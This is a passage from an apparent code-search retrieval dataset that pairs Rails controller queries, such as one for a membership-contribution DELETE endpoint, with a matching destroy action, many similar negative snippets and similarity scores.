format.html { redirect_to board_url(@project_member.project.initiative.board), notice: @project_member.person.name + ' on ' + @project_member.project.name + ' updated.' }\n format.json { render :show, status: :ok, location: project_project_member_url(@project, @project_member) }\n else\n format.html { render :edit }\n format.json { render json: @project_member.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @membership_contributions = MembershipContribution.all\n end", "def update\n @monthly_interest = MonthlyInterest.find(params[:id])\n\n respond_to do |format|\n if @monthly_interest.update_attributes(params[:monthly_interest])\n format.html { redirect_to @monthly_interest, notice: 'Monthly interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @monthly_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @community = Community.find(params[:id])\n\n respond_to do |format|\n if @community.update_attributes(params[:community])\n format.html { redirect_to @community, notice: 'Community was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @community.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_memberships\n update_children\n update_parents\n end", "def update\n @interested = Interested.find(params[:id])\n\n respond_to do |format|\n if @interested.update_attributes(params[:interested])\n format.html { redirect_to @interested, notice: 'Interested was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interested.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @person_interest = PersonInterest.find(params[:id])\n\n respond_to do |format|\n if @person_interest.update_attributes(params[:person_interest])\n format.html { redirect_to @person_interest, notice: 'Person interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person_interest.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @organization_membershipship = current_person.organization_memberships.find(params[:id])\n\n respond_to do |format|\n if @organization_membershipship.update_attributes(params[:organization_membershipship])\n format.html { redirect_to(@organization_membershipship, :notice => 'Organization membership was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @organization_membershipship.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_user_contribution\n @user_contribution = UserContribution.find(params[:id])\n end", "def notifications\n membership = current_account.memberships.find_by(\n :id => params[:membership][:id]) if params[:membership]\n\n if membership and membership.update_attributes(membership_params.except(:id))\n flash[:success] = _('Notifications updated.')\n end\n end", "def update\n respond_to do |format|\n if @member_commision.update(member_commision_params)\n format.html { redirect_to member_commisions_path, notice: 'Member commision was successfully updated.' }\n format.json { render :show, status: :ok, location: @member_commision }\n else\n format.html { render :edit }\n format.json { render json: @member_commision.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def set_contribution\n @contribution = Contribution.find(params[:id])\n end", "def update\n @club = Club.find(params[:id])\n\n if @club.update_attributes(params[:club])\n head :no_content\n else\n render json: @club.errors, status: :unprocessable_entity\n end\n end", "def index\n user = User.find_by(id: params[:user_id])\n return respond_with contributions: [], status: :not_found if user.nil?\n contributions = user.contributions\n respond_with contributions: contributions, status: :ok\n end", "def update\n respond_to do |format|\n if @membership_pkg.update(membership_pkg_params)\n format.html { redirect_to @membership_pkg, notice: 'Membership pkg was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_pkg }\n else\n format.html { render :edit }\n format.json { render json: @membership_pkg.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @membership.assign_attributes(membership_params)\n @membership.user.no_password = true\n \n respond_to do |format|\n if @membership.save\n format.html { redirect_to @membership, notice: 'Membership was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update!(**args)\n @membership = args[:membership] if args.key?(:membership)\n end", "def update!(**args)\n @membership = args[:membership] if args.key?(:membership)\n end", "def test_should_update_group_user_via_API_JSON\r\n # lookup user's membership\r\n get \"memberships/find.json?api_key=testapikey&user_id=4&group_id=1\"\r\n membership = JSON.parse(response.body)\r\n membership_id = membership['id']\r\n assert membership_id == 3, 'Incorrect membership id'\r\n assert membership['role_id'] == Role.find_by_rolename('user').id, 'Incorrect role id'\r\n \r\n # promote user to group admin\r\n put \"/memberships/#{membership_id}.xml\", :api_key => 'testapikey',\r\n :membership => {:user_id => 4,\r\n :group_id => 1,\r\n :role_id => Role.find_by_rolename('group_admin') }\r\n assert_response :success\r\n end", "def update\n #@users = User.find(params[:user_id])\n @company_profile = CompanyProfile.find(params[:company_profile_id]) \n respond_to do |format|\n if @company_profile_membership.update(company_profile_membership_params)\n format.html { redirect_to @company_profile, \n notice: 'Company profile membership was successfully updated.' }\n format.json { render :show, status: :ok, location: @company_profile_membership }\n flash[:error] = @company_profile_membership.errors.full_messages.to_sentence \n else\n format.html { render :edit }\n format.json { render json: @company_profile_membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @my_ministry = MyMinistry.find(params[:id])\n\n respond_to do |format|\n if @my_ministry.update_attributes(params[:my_ministry])\n format.html { redirect_to @my_ministry, notice: 'My ministry was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_ministry.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Interest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @participant = @school.participants.find(params[:id])\n\n respond_to do |format|\n if @participant.update_attributes(params[:participant])\n @team = Team.find(params[:coreteam])\n @team.add_member(@participant.user)\n format.js\n if @participant.accepted == 2\n Notifier.participant_acceptance(@participant,@school).deliver\n end \n else\n format.js { render \"register_failure\" }\n end\n end\n end", "def update\n respond_to do |format|\n if @membership_record.update(membership_record_params)\n format.html { redirect_to @membership_record, notice: 'Membership record was successfully updated.' }\n format.json { render :show, status: :ok, location: @membership_record }\n else\n format.html { render :edit }\n format.json { render json: @membership_record.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n respond_to do |format|\n if @competence.update(competence_params)\n format.html { redirect_to '/profile#addMoreCompetences', notice: t('competences_controller.competences_update_success') }\n format.json { render :show, status: :ok, location: @competence }\n else\n format.html { render :edit }\n format.json { render json: @competence.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @community = current_user.own_communities.find(params[:id])\n flash[:notice] = 'Community was successfully updated.' if @community.update_attributes(update_params)\n respond_with(@community)\n end", "def update\n standard_update(Interest, params[:id], interest_params)\n end", "def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n #logger.info \"Put parameters: #{params.to_json}\"\n\n if @membership.admin \n if @group.update_attributes(params[:group])\n head :no_content\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n else \n render json: {error: \"YOU MUST BE AN ADMINISTRATOR TO COMPLETE THIS ACTION\"}, status: :unprocessable_entity\n end \n end", "def update\n\t\t@membership = Membership.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @membership.update_attributes(params[:membership])\n\t\t\t\tformat.html { redirect_to(@membership, :notice => 'Membership was successfully updated.') }\n\t\t\t\tformat.xml\t{ head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml\t{ render :xml => @membership.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, notice: 'Interest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interest.errors, status: :unprocessable_entity }\n end\n end\n end", "def contribution_params\n params[:contribution][:user_id] = current_user.id\n params.require(:contribution).permit(:title, :url, :text, :user_id)\n end", "def update\n @membership = Membership.find(params[:id])\n if @membership.update_attributes(membership_params)\n flash[:success] = \"Updated membership.\"\n redirect_to group_members_url(@group)\n end\n end", "def update\n respond_to do |format|\n if @interest.update_attributes(params[:interest])\n format.html { redirect_to @interest, :notice => 'Интересот е успешно ажуриран.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @interest.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @ministry.charges.each do |charge|\n unless params[:ministry][:responsibility_ids].include? charge.responsibility_id.to_s\n charge.charge_members.destroy_all\n end\n end\n\n if @ministry.update(ministry_params)\n flash[:notice] = 'Ministry was successfully created.'\n redirect_to action: :index\n else\n render :edit\n end\n end", "def update\n \t\t@interested = Interested.find(params[:id])\n\n \t\trespond_to do |format|\n \t\t\tif @interested.update_attributes(params[:interested])\n \t\t\tformat.html { redirect_to @interested, notice: 'Interested was sucessfully updated.' }\n \t\t\tformat.json {head :no_content }\n \t\t\telse\n \t\t\t\tformat.html { render action: \"edit\" }\n \t\t\t\tformat.json { render json: @interested.error, status: :unprocessable_entity }\n \t\t\tend\n \t\tend\n \tend", "def update\n if params[:membership][:to_present].eql?(\"1\")\n current_date = Time.now\n params[:membership][\"until_date(1i)\"] = params[:membership][:until_year] = current_date.strftime(\"%Y\")\n params[:membership][\"until_date(2i)\"] = current_date.strftime(\"%m\")\n else\n params[:membership][\"until_date(1i)\"] = params[:membership][:until_year]\n end\n params[:membership][\"from_date(1i)\"] = params[:membership][:from_year]\n params[:membership][\"from_date(3i)\"] = \"1\"\n params[:membership][\"until_date(3i)\"] = \"1\"\n \n @membership = Membership.find(params[:id])\n\n if @membership.update_attributes(params[:membership])\n if request.xhr?\n @memberships = Membership.all(:conditions => \"user_id = '#{current_user.id}'\", :order => \"created_at DESC\")\n render :update do |page|\n page.replace_html \"membership_index_container\", :partial => \"index\", :locals => {:memberships => @memberships}\n page << \"$(\\\"add_membership_form\\\").innerHTML = \\\"\\\"\"\n end\n end\n else\n if request.xhr?\n render :update do |page|\n if @membership.errors.to_a.map{|err| err[0]}.include?(\"name\")\n page << \"$('membership_name_must_unique_0').show()\"\n page << \"$('membership_name_cant_be_blank_0').hide()\"\n elsif @membership.errors.to_a.map{|err| err[0]}.include?(\"until_date\")\n page << \"$('membership_end_year_must_greater_than_start_year_0').show()\"\n end\n end\n end\n end\n end", "def update\n #Finding the specific chore where the id matches the one we pass in with the body\n @v1_chore = Chore.where(id: params[:id]).first\n #Here we're checking if we have user_id in our body, and if we do, we'll change the selected chore's properties\n #with the parameters of the body, we go through the specific group to our specific chore with the path\n if v1_chore_params[:user_id]\n @v1_chore.user_id = params[:user_id]\n @v1_chore.assigned = true\n if @v1_chore.save\n render :show, status: :ok\n end\n else\n render json: @v1_chore.errors, status: :unprocessable_entity\n end\n end", "def update_membership(organization_id, membership_id, params)\n http.put(\"#{membership_endpoint(organization_id)}/#{membership_id}\", body: params) do |response|\n Rexpense::Entities::Membership.new response.parsed_body\n end\n end", "def update\n @participation = Participation.find(params[:id])\n\n respond_to do |format|\n if @participation.update_attributes(params[:participation])\n format.html { redirect_to volunteer_participation_url(current_user, @participation), notice: 'Participation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @participation.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\r\n @project_request = ProjectRequest.find(params[:id])\r\n @current_date = DateTime.now\r\n\r\n @project_request.relevant_skill = params[:relevant_skill].to_a\r\n @project_request.relevant_skill = @project_request.relevant_skill.join(\", \")\r\n @skills = Skill.all \r\n respond_to do |format|\r\n if @project_request.update_attributes(params[:project_request])\r\n @project_request.update_request_status(@project_request) \r\n format.html { redirect_to _my_requests_path }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @project_request.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def update\n @lab_membership = LabMembership.find(params[:id])\n @user = @lab_membership.user\n\n respond_to do |format|\n if @lab_membership.load(params[:lab_membership]) && @lab_membership.save\n flash[:notice] = 'LabMembership was successfully updated.'\n format.html { redirect_to( user_lab_memberships_path(@user) ) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lab_membership.errors, :status => :unprocessable_entity }\n end\n end\n end", "def profile_update_credibilty\n params.require.permit(:profile).permit(:credibility)\n end" ]
[ "0.6815647", "0.67277837", "0.6674991", "0.6674991", "0.66394836", "0.65078545", "0.6483071", "0.64645773", "0.646334", "0.6427524", "0.6405148", "0.6401074", "0.63899326", "0.63718337", "0.63718337", "0.63718337", "0.63718337", "0.63718337", "0.6368388", "0.6347717", "0.63393384", "0.6312016", "0.6300562", "0.62946707", "0.627252", "0.62400573", "0.6234482", "0.61900055", "0.6145808", "0.613279", "0.60602105", "0.6017982", "0.6013252", "0.5995092", "0.59774005", "0.5970259", "0.59603626", "0.59513205", "0.5949314", "0.59220994", "0.5909221", "0.5874953", "0.58631426", "0.58416224", "0.58359194", "0.5818316", "0.5818316", "0.58071107", "0.5805874", "0.5805305", "0.5803303", "0.57910603", "0.578951", "0.57834256", "0.5773352", "0.5762255", "0.57569957", "0.5754917", "0.57483906", "0.5744365", "0.573316", "0.5731513", "0.5725174", "0.5720065", "0.57176536", "0.5712115", "0.5712115", "0.5712115", "0.5712115", "0.57033527", "0.5703319", "0.5699016", "0.56970274", "0.56966096", "0.56966096", "0.5685134", "0.56842524", "0.56804043", "0.5672424", "0.56664485", "0.56588495", "0.5651369", "0.5638693", "0.56376225", "0.5635846", "0.5635179", "0.56316185", "0.56217295", "0.56200546", "0.56162703", "0.5614756", "0.56146926", "0.560552", "0.56019115", "0.5598971", "0.55950093", "0.55939215", "0.55861086", "0.5585685", "0.55818653" ]
0.74537194
0
DELETE /membership_contributions/1 DELETE /membership_contributions/1.json
def destroy @membership_contribution.destroy respond_to do |format| format.html { redirect_to membership_contributions_url, notice: 'Membership contribution was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @contribution = Contribution.find(params[:id])\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to contributions_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to(contributions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to @community, notice: 'Community membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to memberships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to memberships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @research_group_membership.destroy\n respond_to do |format|\n format.html { redirect_to research_group_memberships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution = Contribution.find(params[:id])\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to(contributions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: '投稿を削除しました' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership ||= Membership.find(params[:id])\n @membership.destroy\n\n respond_to do |format|\n format.html { redirect_to memberships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contributions_url, notice: 'Contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to @user }\n format.json { head :no_content }\n end\n end", "def destroy\n @mission_membership.destroy\n respond_to do |format|\n format.html { redirect_to mission_memberships_url, notice: 'Mission membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to groups_path, notice: 'Membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_contribution.destroy\n respond_to do |format|\n format.html { redirect_to user_contributions_url, notice: 'User contribution was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tribal_membership.destroy\n respond_to do |format|\n format.html { redirect_to tribal_memberships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @students_project_membership.destroy\n respond_to do |format|\n format.html { redirect_to students_project_memberships_url, notice: 'Students project membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to memberships_url, notice: 'Membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to memberships_url, notice: \"Membership was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to member_url(@membership.member), notice: 'Membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def DeleteMembership id\n \n APICall(path: \"group_memberships/#{id}.json\",method: 'DELETE')\n \n end", "def destroy\n @membership_clerk.destroy\n respond_to do |format|\n format.html { redirect_to membership_clerks_url, notice: 'Membership clerk was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution.destroy\n respond_to do |format|\n format.html { redirect_to contri_url, notice: 'Ask was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n if current_user.role(@project) == :admin && @membership.admin?\n return respond_to do |format|\n format.json { head :forbidden }\n end\n end\n\n @membership.destroy\n head :no_content\n end", "def destroy\n @membership.destroy\n\n respond_to do |format|\n format.html { redirect_to edit_site_url(@membership.site) }\n format.json { head :no_content }\n end\n end", "def destroy\n @memberships = Membership.where(:project_id => params[:id])\n @memberships.each do |membership|\n membership.destroy\n end\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to projects_url }\n format.js\n format.json { head :no_content }\n end\n end", "def destroy\n @collaboration.destroy\n respond_to do |format|\n format.html { redirect_to collaborations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @lab_membership = LabMembership.find(params[:id])\n @user = @lab_membership.user\n @lab_membership.destroy\n\n respond_to do |format|\n format.html { redirect_to( user_lab_memberships_path(@user) ) }\n format.xml { head :ok }\n end\n end", "def destroy\n @colaboration = Colaboration.find(params[:id])\n @colaboration.destroy\n\n respond_to do |format|\n format.html { redirect_to colaborations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @research_group_member.destroy\n respond_to do |format|\n format.html { redirect_to research_group_members_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership = Membership.find(params[:id])\n @membership.destroy\n\n respond_to do |format|\n format.js\n format.html { redirect_to @membership.sub_club, :notice => 'you left:' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution_record = ContributionRecord.find(params[:id])\n @contribution_record.destroy\n\n respond_to do |format|\n format.html { redirect_to contribution_records_url }\n format.json { head :no_content }\n end\n end", "def destroy\n club_id = @membership.beer_club.id\n @membership.destroy\n respond_to do |format|\n format.html { redirect_to beer_club_path(club_id), notice: 'You are no longer a member of this club' }\n format.json { head :no_content }\n end\n end", "def destroy\n @band_membership = BandMembership.find(params[:id])\n @band_membership.destroy\n\n respond_to do |format|\n format.html { redirect_to(band_memberships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n ActiveRecord::Base.transaction do\n if @membership.payment_type == 'Stripe'\n stripe_sub = Stripe::Subscription.retrieve(@membership.stripe_sub_id)\n stripe_sub.delete\n end\n\n @membership.destroy\n\n respond_to do |format|\n format.html { redirect_to @member, notice: 'Membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @team_membership.destroy\n respond_to do |format|\n format.html { redirect_to team_memberships_url, notice: 'Team membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @loop_membership = LoopMembership.find(params[:id])\n @loop_membership.destroy\n\n respond_to do |format|\n format.html { redirect_to loop_memberships_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribucion.destroy\n respond_to do |format|\n format.html { redirect_to contribucions_url, notice: 'Contribucion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership_option.destroy\n respond_to do |format|\n format.html { redirect_to membership_options_url, notice: 'Membership option was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership.destroy\n @id = params[:id]\n respond_to do |format|\n format.html { redirect_to class_group_memberships_path(@class_group), notice: 'Membership was successfully destroyed.' }\n format.js { render :layout => false }\n format.json { head :no_content }\n end\n end", "def destroy\n @company_profile = CompanyProfile.find(params[:company_profile_id]) \n @company_profile_membership.destroy\n respond_to do |format|\n format.html { redirect_to @company_profile, notice: 'Company profile membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @collaboration.destroy\n respond_to do |format|\n format.html { redirect_to collaborations_url, notice: 'Collaboration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @account_membership = AccountMembership.find(params[:id])\n @account_membership.destroy\n\n respond_to do |format|\n format.html { redirect_to(account_memberships_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @membership = Adhocracy::Membership.find(params[:id])\n\n authorize! :manage, @membership\n @membership.destroy\n\n head :no_content\n end", "def destroy\n @membership_pkg.destroy\n respond_to do |format|\n format.html { redirect_to membership_pkgs_url, notice: 'Membership pkg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership_record.destroy\n respond_to do |format|\n format.html { redirect_to membership_records_url, notice: 'Membership record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership_fee = MembershipFee.find(params[:id])\n @membership_fee.destroy\n\n respond_to do |format|\n format.html { redirect_to membership_fees_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @os_groups_membership.destroy\n respond_to do |format|\n format.html { redirect_to os_groups_memberships_url, notice: 'Os groups membership was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @project_member.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n #if requests comes from a different path, search by the information provided\n current_uri = request.env['PATH_INFO']\n if current_uri == \"/memberships\"\n beer_club_id = params[:membership][:beer_club_id]\n @membership = Membership.find_by_beer_club_id_and_user_id(beer_club_id, current_user.id)\n end\n\n #else we assume, that the delete request came from the usual place, memberships/:id\n unless current_user.nil? or [email protected]\n\n @membership.destroy\n respond_to do |format|\n #byebug\n format.html { redirect_to current_user, notice: \"Your membership in #{@membership.beer_club.name} ended.\" }\n format.json { head :no_content }\n end\n else\n redirect_to memberships_url, notice: \"You aren't allowed to touch other users memberships! You bastard.\"\n end\n end", "def destroy\n @membership_type = MembershipType.find(params[:id])\n @membership_type.destroy\n\n respond_to do |format|\n format.html { redirect_to '/preferences/members_management?tab=membership_types', :notice => \"Membership Type deleted\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution = Contribution.find(params[:id])\n @enseignant = @contribution.enseignant\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to enseignant_path(:id => @enseignant) }\n format.xml { head :ok }\n end\n end", "def destroy\n @susu_membership.destroy\n end", "def destroy\n @membership_confirmation.destroy\n respond_to do |format|\n format.html { redirect_to membership_confirmations_url, notice: 'Membership confirmation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contribution_type.destroy\n respond_to do |format|\n format.html { redirect_to contribution_types_url, notice: 'Contribution type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @membership_kind = MembershipKind.get(params[:id])\n @membership_kind.destroy\n\n respond_to do |format|\n format.html { redirect_to(membership_kinds_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @member_commision.destroy\n respond_to do |format|\n format.html { redirect_to member_commisions_url, notice: 'Member commision was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @interest = Interest.find(params[:id])\n @interest.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end \n end", "def destroy\n @membership = Membership.find(params[:id])\n auth!\n respond_to do |format|\n process_notification(@membership, {}, process_notification_options({\n params: {\n level: @membership.level_name,\n member_id: @membership.user.id,\n member_name: @membership.user.name,\n group_id: @membership.group.id,\n group_name: @membership.group.name\n },\n recipient: @membership.user}))\n\n if @membership.destroy\n format.html { redirect_to manage_members_group_path(@group), notice: t(:member_removed) }\n format.xml { head :ok }\n else\n format.html { redirect_to manage_members_group_path(@group), notice: t(:membership_denied) }\n format.xml { render xml: @membership.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @member_fraction.destroy\n respond_to do |format|\n format.html { redirect_to member_fractions_url, notice: 'Member fraction was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n user = @membership.user\n school = @membership.school\n user_roles = user.roles\n @membership.destroy\n user_roles.delete_all\n respond_to do |format|\n format.html { redirect_to school_memberships_path(@membership.school), notice: 'Scool registration was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @club_path = ClubPath.find(params[:id])\n @club_path.destroy\n\n respond_to do |format|\n format.html { redirect_to club_paths_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @monthly_interest = MonthlyInterest.find(params[:id])\n @monthly_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to monthly_interests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n add_crumb(\"Member Courses\") { |instance| instance.send :member_member_courses_path }\n @member_course = MemberCourse.find(params[:id])\n @memb_id = @member_course.member_id\n @member_course.destroy\n\n respond_to do |format|\n format.html { redirect_to(member_member_courses_url(@memb_id)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @responsibility = Responsibility.find(params[:id])\n @responsibility.destroy\n\n respond_to do |format|\n format.html { redirect_to responsibilities_url }\n format.json { head :no_content }\n end\n end", "def destroy \n @oc_member = OcMember.find(params[:id])\n @oc_member.destroy\n\n respond_to do |format|\n format.html { redirect_to oc_members_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_has_credibility = UserHasCredibility.find(params[:id])\n @user_has_credibility.destroy\n\n respond_to do |format|\n format.html { redirect_to user_has_credibilities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @community = Community.find(params[:id])\n @community.destroy\n\n respond_to do |format|\n format.html { redirect_to communities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @organization_membershipship = current_person.organization_memberships.find(params[:id])\n @organization_membershipship.destroy\n\n respond_to do |format|\n format.html { redirect_to(person_organization_memberships_path(current_person)) }\n format.js { render :nothing => true }\n format.xml { head :ok }\n end\n end", "def destroy\n @community = Community.find(params[:id])\n @community.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_district_communities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @complexity = Complexity.find(params[:id])\n @complexity.destroy\n\n respond_to do |format|\n format.html { redirect_to complexities_url }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @summit.destroy\n respond_to do |format|\n format.html { redirect_to summits_url, notice: 'Summit was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @interest_group.destroy\n respond_to do |format|\n format.html { redirect_to interest_groups_url, notice: 'Interest group was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @person_interest = PersonInterest.find(params[:id])\n @person_interest.destroy\n\n respond_to do |format|\n format.html { redirect_to person_interests_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @member = Member.find(params[:id])\n @member.destroy\n\n \n respond_to do |format|\n format.html { redirect_to members_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contributor.destroy\n respond_to do |format|\n format.html { redirect_to contributors_url, notice: 'Contributor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @undergraduate_major = UndergraduateMajor.find(params[:id])\n @undergraduate_major.destroy\n\n respond_to do |format|\n format.html { redirect_to undergraduate_majors_url }\n format.json { head :no_content }\n end\n end", "def destroy\n if current_user.type == \"Clinician\"\n @membership = Membership.find_by(member_id: params[:id], clinician_id: current_user.id)\n else\n @membership = Membership.find_by(member_id: current_user.id, clinician_id: params[:id])\n end\n\n if @membership\n begin\n authorize! :cancel, @membership\n CancelMembershipService.new(membership: @membership).perform\n render json: { status: :ok }\n rescue StandardError => e\n render json: {errors: e.message}, status: :unprocessable_entity\n end\n else\n render json: { status: :not_found }\n end\n end", "def destroy\n @congress_member.destroy\n respond_to do |format|\n format.html { redirect_to congress_members_url, notice: 'Congress Member was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @competency.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@membership = Membership.find(params[:id])\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(memberships_url, :notice => \"Membership successfully destroyed.\") }\n\t\t\tformat.xml\t{ head :ok }\n\t\tend\n\tend", "def destroy\n @membership = Membership.find(params[:id])\n @membership.destroy\n\n redirect_to(chat_rooms_url)\n end", "def destroy\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n @graph_membership_graph.destroy\n\n respond_to do |format|\n format.html { redirect_to graph_membership_graphs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize @collaboration.project, :author_access?\n\n @collaboration.destroy\n respond_to do |format|\n format.html do\n 